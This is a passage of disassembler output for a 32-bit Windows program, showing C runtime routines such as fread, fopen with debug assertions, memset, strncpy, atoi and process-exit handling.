		jnz	short loc_41AE20
		int	3		; Trap to Debugger


loc_41AE20:				; CODE XREF: .nsp0:0041AE1Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41ADFE


loc_41AE26:				; CODE XREF: .nsp0:0041AE4Cj
		mov	ecx, [ebp+8]
		mov	edx, [ecx+30h]
		push	edx
		push	offset aTotalAllocatio ; "Total	allocations: %ld bytes.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41AE48
		int	3		; Trap to Debugger


loc_41AE48:				; CODE XREF: .nsp0:0041AE45j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41AE26


loc_41AE4E:				; CODE XREF: .nsp0:0041AD9Dj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE60	proc near		; CODE XREF: sub_4010AB+45p
					; sub_40EB56+4Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_41ECE0
		add	esp, 4
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41AEA0
		add	esp, 10h
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_41ED50
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41AE60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AEA0	proc near		; CODE XREF: sub_41AE60+20p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		imul	ecx, [ebp+arg_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jnz	short loc_41AEC9
		xor	eax, eax
		jmp	loc_41B06B
; ---------------------------------------------------------------------------


loc_41AEC9:				; CODE XREF: sub_41AEA0+20j
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 10Ch
		test	ecx, ecx
		jz	short loc_41AEE4
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_1C], eax
		jmp	short loc_41AEEB
; ---------------------------------------------------------------------------


loc_41AEE4:				; CODE XREF: sub_41AEA0+37j
		mov	[ebp+var_1C], 1000h


loc_41AEEB:				; CODE XREF: sub_41AEA0+42j
					; sub_41AEA0:loc_41B063j
		cmp	[ebp+var_C], 0
		jz	loc_41B068
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		and	edx, 10Ch
		test	edx, edx
		jz	short loc_41AF79
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41AF79
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		cmp	edx, [ecx+4]
		jnb	short loc_41AF21
		mov	eax, [ebp+var_C]
		mov	[ebp+var_20], eax
		jmp	short loc_41AF2A
; ---------------------------------------------------------------------------


loc_41AF21:				; CODE XREF: sub_41AEA0+77j
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+4]
		mov	[ebp+var_20], edx


loc_41AF2A:				; CODE XREF: sub_41AEA0+7Fj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		push	ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_18]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		add	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		jmp	loc_41B063
; ---------------------------------------------------------------------------


loc_41AF79:				; CODE XREF: sub_41AEA0+63j
					; sub_41AEA0+6Cj
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_1C]
		jb	loc_41B01E
		cmp	[ebp+var_1C], 0
		jz	short loc_41AF9D
		mov	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+var_1C]
		mov	eax, [ebp+var_C]
		sub	eax, edx
		mov	[ebp+var_24], eax
		jmp	short loc_41AFA3
; ---------------------------------------------------------------------------


loc_41AF9D:				; CODE XREF: sub_41AEA0+E9j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_24], ecx


loc_41AFA3:				; CODE XREF: sub_41AEA0+FBj
		mov	edx, [ebp+var_24]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+10h]
		push	eax
		call	sub_422100
		add	esp, 0Ch
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_41AFE8
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 10h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	loc_41B06B
; ---------------------------------------------------------------------------


loc_41AFE8:				; CODE XREF: sub_41AEA0+127j
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41B00A
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41B06B
; ---------------------------------------------------------------------------


loc_41B00A:				; CODE XREF: sub_41AEA0+14Cj
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_14]
		mov	[ebp+var_8], edx
		jmp	short loc_41B063
; ---------------------------------------------------------------------------


loc_41B01E:				; CODE XREF: sub_41AEA0+DFj
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_421F10
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_41B040
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41B06B
; ---------------------------------------------------------------------------


loc_41B040:				; CODE XREF: sub_41AEA0+191j
		mov	ecx, [ebp+var_8]
		mov	dl, byte ptr [ebp+var_4]
		mov	[ecx], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_1C], eax


loc_41B063:				; CODE XREF: sub_41AEA0+D4j
					; sub_41AEA0+17Cj
		jmp	loc_41AEEB
; ---------------------------------------------------------------------------


loc_41B068:				; CODE XREF: sub_41AEA0+4Fj
		mov	eax, [ebp+arg_8]


loc_41B06B:				; CODE XREF: sub_41AEA0+24j
					; sub_41AEA0+143j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41AEA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B070	proc near		; CODE XREF: sub_41B170+Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi


loc_41B079:				; CODE XREF: sub_41B070+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41B09D
		push	offset aFileNull ; "file != NULL"
		push	0
		push	35h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B09D
		int	3		; Trap to Debugger


loc_41B09D:				; CODE XREF: sub_41B070+Dj
					; sub_41B070+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41B079


loc_41B0A3:				; CODE XREF: sub_41B070+5Fj
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_41B0CB
		push	offset aFile_t0	; "*file != _T('\\0')"
		push	0
		push	36h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B0CB
		int	3		; Trap to Debugger


loc_41B0CB:				; CODE XREF: sub_41B070+3Bj
					; sub_41B070+58j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41B0A3


loc_41B0D1:				; CODE XREF: sub_41B070+89j
		cmp	[ebp+arg_4], 0
		jnz	short loc_41B0F5
		push	offset aModeNull ; "mode != NULL"
		push	0
		push	37h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B0F5
		int	3		; Trap to Debugger


loc_41B0F5:				; CODE XREF: sub_41B070+65j
					; sub_41B070+82j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41B0D1


loc_41B0FB:				; CODE XREF: sub_41B070+B7j
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_41B123
		push	offset aMode_t0	; "*mode != _T('\\0')"
		push	0
		push	38h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B123
		int	3		; Trap to Debugger


loc_41B123:				; CODE XREF: sub_41B070+93j
					; sub_41B070+B0j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41B0FB
		call	sub_422970
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41B13B
		xor	eax, eax
		jmp	short loc_41B165
; ---------------------------------------------------------------------------


loc_41B13B:				; CODE XREF: sub_41B070+C5j
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4225E0
		add	esp, 10h
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41ED50
		add	esp, 4
		mov	eax, [ebp+var_8]


loc_41B165:				; CODE XREF: sub_41B070+C9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41B070	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B170	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401CC1+5081p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	40h
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41B070
		add	esp, 0Ch
		pop	ebp
		retn
sub_41B170	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B190	proc near		; CODE XREF: .nsp0:0040120Ap
					; .nsp0:00401218p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B1E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B1D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B1B9
		sub	edx, ecx


loc_41B1B3:				; CODE XREF: sub_41B190+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B1B3


loc_41B1B9:				; CODE XREF: sub_41B190+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B1D7
		rep stosd
		test	edx, edx
		jz	short loc_41B1DD


loc_41B1D7:				; CODE XREF: sub_41B190+18j
					; sub_41B190+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B1D7


loc_41B1DD:				; CODE XREF: sub_41B190+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B1E3:				; CODE XREF: sub_41B190+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B190	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B1F0	proc near		; CODE XREF: sub_40141B+499p
					; sub_40141B+4B5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B273
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B214
		shr	ecx, 2
		jnz	short loc_41B281
		jmp	short loc_41B235
; ---------------------------------------------------------------------------


loc_41B214:				; CODE XREF: sub_41B1F0+1Bj
					; sub_41B1F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B242
		test	al, al
		jz	short loc_41B24A
		test	esi, 3
		jnz	short loc_41B214
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B281


loc_41B230:				; CODE XREF: sub_41B1F0+8Fj
		and	ebx, 3
		jz	short loc_41B242


loc_41B235:				; CODE XREF: sub_41B1F0+22j
					; sub_41B1F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B26E
		dec	ebx
		jnz	short loc_41B235


loc_41B242:				; CODE XREF: sub_41B1F0+2Bj
					; sub_41B1F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B24A:				; CODE XREF: sub_41B1F0+2Fj
		test	edi, 3
		jz	short loc_41B264


loc_41B252:				; CODE XREF: sub_41B1F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B2E6
		test	edi, 3
		jnz	short loc_41B252


loc_41B264:				; CODE XREF: sub_41B1F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B2D7


loc_41B26B:				; CODE XREF: sub_41B1F0+7Fj
					; sub_41B1F0+F4j
		mov	[edi], al
		inc	edi


loc_41B26E:				; CODE XREF: sub_41B1F0+4Dj
		dec	ebx
		jnz	short loc_41B26B
		pop	ebx
		pop	esi


loc_41B273:				; CODE XREF: sub_41B1F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B279:				; CODE XREF: sub_41B1F0+A9j
					; sub_41B1F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B230


loc_41B281:				; CODE XREF: sub_41B1F0+20j
					; sub_41B1F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B279
		test	dl, dl
		jz	short loc_41B2CB
		test	dh, dh
		jz	short loc_41B2C1
		test	edx, 0FF0000h
		jz	short loc_41B2B7
		test	edx, 0FF000000h
		jnz	short loc_41B279
		mov	[edi], edx
		jmp	short loc_41B2CF
; ---------------------------------------------------------------------------


loc_41B2B7:				; CODE XREF: sub_41B1F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B2CF
; ---------------------------------------------------------------------------


loc_41B2C1:				; CODE XREF: sub_41B1F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B2CF
; ---------------------------------------------------------------------------


loc_41B2CB:				; CODE XREF: sub_41B1F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B2CF:				; CODE XREF: sub_41B1F0+C5j
					; sub_41B1F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B2E1


loc_41B2D7:				; CODE XREF: sub_41B1F0+79j
		xor	eax, eax


loc_41B2D9:				; CODE XREF: sub_41B1F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B2D9


loc_41B2E1:				; CODE XREF: sub_41B1F0+E5j
		and	ebx, 3
		jnz	short loc_41B26B


loc_41B2E6:				; CODE XREF: sub_41B1F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B1F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B2F0	proc near		; CODE XREF: sub_41B3F0+7p
					; sub_42DF80+271p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h


loc_41B2F6:				; CODE XREF: sub_41B2F0+4Ej
		cmp	dword_4516A8, 1
		jle	short loc_41B316
		push	8
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_10], eax
		jmp	short loc_41B32F
; ---------------------------------------------------------------------------


loc_41B316:				; CODE XREF: sub_41B2F0+Dj
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_45149C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8
		mov	[ebp+var_10], edx


loc_41B32F:				; CODE XREF: sub_41B2F0+24j
		cmp	[ebp+var_10], 0
		jz	short loc_41B340
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_41B2F6
; ---------------------------------------------------------------------------


loc_41B340:				; CODE XREF: sub_41B2F0+43j
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_4], 2Dh
		jz	short loc_41B365
		cmp	[ebp+var_4], 2Bh
		jnz	short loc_41B378


loc_41B365:				; CODE XREF: sub_41B2F0+6Dj
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_41B378:				; CODE XREF: sub_41B2F0+73j
		mov	[ebp+var_8], 0


loc_41B37F:				; CODE XREF: sub_41B2F0+E9j
		cmp	dword_4516A8, 1
		jle	short loc_41B39B
		push	4
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_14], eax
		jmp	short loc_41B3B0
; ---------------------------------------------------------------------------


loc_41B39B:				; CODE XREF: sub_41B2F0+96j
		mov	eax, [ebp+var_4]
		mov	ecx, off_45149C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_14], edx


loc_41B3B0:				; CODE XREF: sub_41B2F0+A9j
		cmp	[ebp+var_14], 0
		jz	short loc_41B3DB
		mov	eax, [ebp+var_8]
		imul	eax, 0Ah
		mov	ecx, [ebp+var_4]
		lea	edx, [eax+ecx-30h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_41B37F
; ---------------------------------------------------------------------------


loc_41B3DB:				; CODE XREF: sub_41B2F0+C4j
		cmp	[ebp+var_C], 2Dh
		jnz	short loc_41B3E8
		mov	eax, [ebp+var_8]
		neg	eax
		jmp	short loc_41B3EB
; ---------------------------------------------------------------------------


loc_41B3E8:				; CODE XREF: sub_41B2F0+EFj
		mov	eax, [ebp+var_8]


loc_41B3EB:				; CODE XREF: sub_41B2F0+F6j
		mov	esp, ebp
		pop	ebp
		retn
sub_41B2F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B3F0	proc near		; CODE XREF: sub_40141B+303p
					; sub_401CC1+AE4p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41B2F0
		add	esp, 4
		pop	ebp
		retn
sub_41B3F0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi


loc_41B417:				; CODE XREF: .nsp0:0041B45Fj
		cmp	dword_4516A8, 1
		jle	short loc_41B437
		push	8
		mov	eax, [ebp+8]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		call	sub_421E50
		add	esp, 8
		mov	[ebp-14h], eax
		jmp	short loc_41B450
; ---------------------------------------------------------------------------


loc_41B437:				; CODE XREF: .nsp0:0041B41Ej
		mov	edx, [ebp+8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_45149C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8
		mov	[ebp-14h], edx


loc_41B450:				; CODE XREF: .nsp0:0041B435j
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_41B461
		mov	eax, [ebp+8]
		add	eax, 1
		mov	[ebp+8], eax
		jmp	short loc_41B417
; ---------------------------------------------------------------------------


loc_41B461:				; CODE XREF: .nsp0:0041B454j
		mov	ecx, [ebp+8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp-4], edx
		mov	eax, [ebp+8]
		add	eax, 1
		mov	[ebp+8], eax
		mov	ecx, [ebp-4]
		mov	[ebp-10h], ecx
		cmp	dword ptr [ebp-4], 2Dh
		jz	short loc_41B486
		cmp	dword ptr [ebp-4], 2Bh
		jnz	short loc_41B499


loc_41B486:				; CODE XREF: .nsp0:0041B47Ej
		mov	edx, [ebp+8]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		add	ecx, 1
		mov	[ebp+8], ecx


loc_41B499:				; CODE XREF: .nsp0:0041B484j
		mov	dword ptr [ebp-0Ch], 0
		mov	dword ptr [ebp-8], 0


loc_41B4A7:				; CODE XREF: .nsp0:0041B517j
		cmp	dword_4516A8, 1
		jle	short loc_41B4C3
		push	4
		mov	edx, [ebp-4]
		push	edx
		call	sub_421E50
		add	esp, 8
		mov	[ebp-18h], eax
		jmp	short loc_41B4D8
; ---------------------------------------------------------------------------


loc_41B4C3:				; CODE XREF: .nsp0:0041B4AEj
		mov	eax, [ebp-4]
		mov	ecx, off_45149C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp-18h], edx


loc_41B4D8:				; CODE XREF: .nsp0:0041B4C1j
		cmp	dword ptr [ebp-18h], 0
		jz	short loc_41B519
		push	0
		push	0Ah
		mov	eax, [ebp-8]
		push	eax
		mov	ecx, [ebp-0Ch]
		push	ecx
		call	sub_41DE60
		mov	ecx, eax
		mov	esi, edx
		mov	eax, [ebp-4]
		sub	eax, 30h
		cdq
		add	ecx, eax
		adc	esi, edx
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], esi
		mov	edx, [ebp+8]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		add	ecx, 1
		mov	[ebp+8], ecx
		jmp	short loc_41B4A7
; ---------------------------------------------------------------------------


loc_41B519:				; CODE XREF: .nsp0:0041B4DCj
		cmp	dword ptr [ebp-10h], 2Dh
		jnz	short loc_41B52E
		mov	eax, [ebp-0Ch]
		neg	eax
		mov	edx, [ebp-8]
		adc	edx, 0
		neg	edx
		jmp	short loc_41B534
; ---------------------------------------------------------------------------


loc_41B52E:				; CODE XREF: .nsp0:0041B51Dj
		mov	eax, [ebp-0Ch]
		mov	edx, [ebp-8]


loc_41B534:				; CODE XREF: .nsp0:0041B52Cj
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B540	proc near		; CODE XREF: .nsp0:0041EA92p
		push	ebp
		mov	ebp, esp
		cmp	off_4510FC, 0
		jz	short loc_41B552
		call	off_4510FC


loc_41B552:				; CODE XREF: sub_41B540+Aj
		push	offset dword_43A030
		push	offset dword_43A01C
		call	sub_41B710
		add	esp, 8
		push	offset dword_43A018
		push	offset dword_43A000
		call	sub_41B710
		add	esp, 8
		pop	ebp
		retn
sub_41B540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B580	proc near		; CODE XREF: .nsp0:0041EAEDp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41B600
		add	esp, 0Ch
		pop	ebp
		retn
sub_41B580	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B5A0	proc near		; CODE XREF: .nsp0:0041EB14p
					; sub_41EB30+22p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41B600
		add	esp, 0Ch
		pop	ebp
		retn
sub_41B5A0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	0
		push	0
		call	sub_41B600
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	1
		push	0
		call	sub_41B600
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B600	proc near		; CODE XREF: sub_41B580+Bp
					; sub_41B5A0+Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_41B6F0
		cmp	dword_4EF8B8, 1
		jnz	short loc_41B623
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F13B4	; GetCurrentProcess
		push	eax
		call	dword_4F13AC	; TerminateProcess


loc_41B623:				; CODE XREF: sub_41B600+10j
		mov	dword_4EF8B4, 1
		mov	cl, byte ptr [ebp+arg_8]
		mov	byte_4EF8B0, cl
		cmp	[ebp+arg_4], 0
		jnz	short loc_41B683
		cmp	dword_4F0FB4, 0
		jz	short loc_41B671
		mov	edx, dword_4F0FB0
		mov	[ebp+var_4], edx


loc_41B64E:				; CODE XREF: sub_41B600:loc_41B66Fj
		mov	eax, [ebp+var_4]
		sub	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4F0FB4
		jb	short loc_41B671
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jz	short loc_41B66F
		mov	eax, [ebp+var_4]
		call	dword ptr [eax]


loc_41B66F:				; CODE XREF: sub_41B600+68j
		jmp	short loc_41B64E
; ---------------------------------------------------------------------------


loc_41B671:				; CODE XREF: sub_41B600+43j
					; sub_41B600+60j
		push	offset dword_43A03C
		push	offset dword_43A034
		call	sub_41B710
		add	esp, 8


loc_41B683:				; CODE XREF: sub_41B600+3Aj
		push	offset dword_43A048
		push	offset dword_43A040
		call	sub_41B710
		add	esp, 8
		cmp	dword_4EF8BC, 0
		jnz	short loc_41B6BE
		push	0FFFFFFFFh
		call	sub_41A400
		add	esp, 4
		and	eax, 20h
		test	eax, eax
		jz	short loc_41B6BE
		mov	dword_4EF8BC, 1
		call	sub_41AD10


loc_41B6BE:				; CODE XREF: sub_41B600+9Cj
					; sub_41B600+ADj
		cmp	[ebp+arg_8], 0
		jz	short loc_41B6CB
		call	sub_41B700
		jmp	short loc_41B6DF
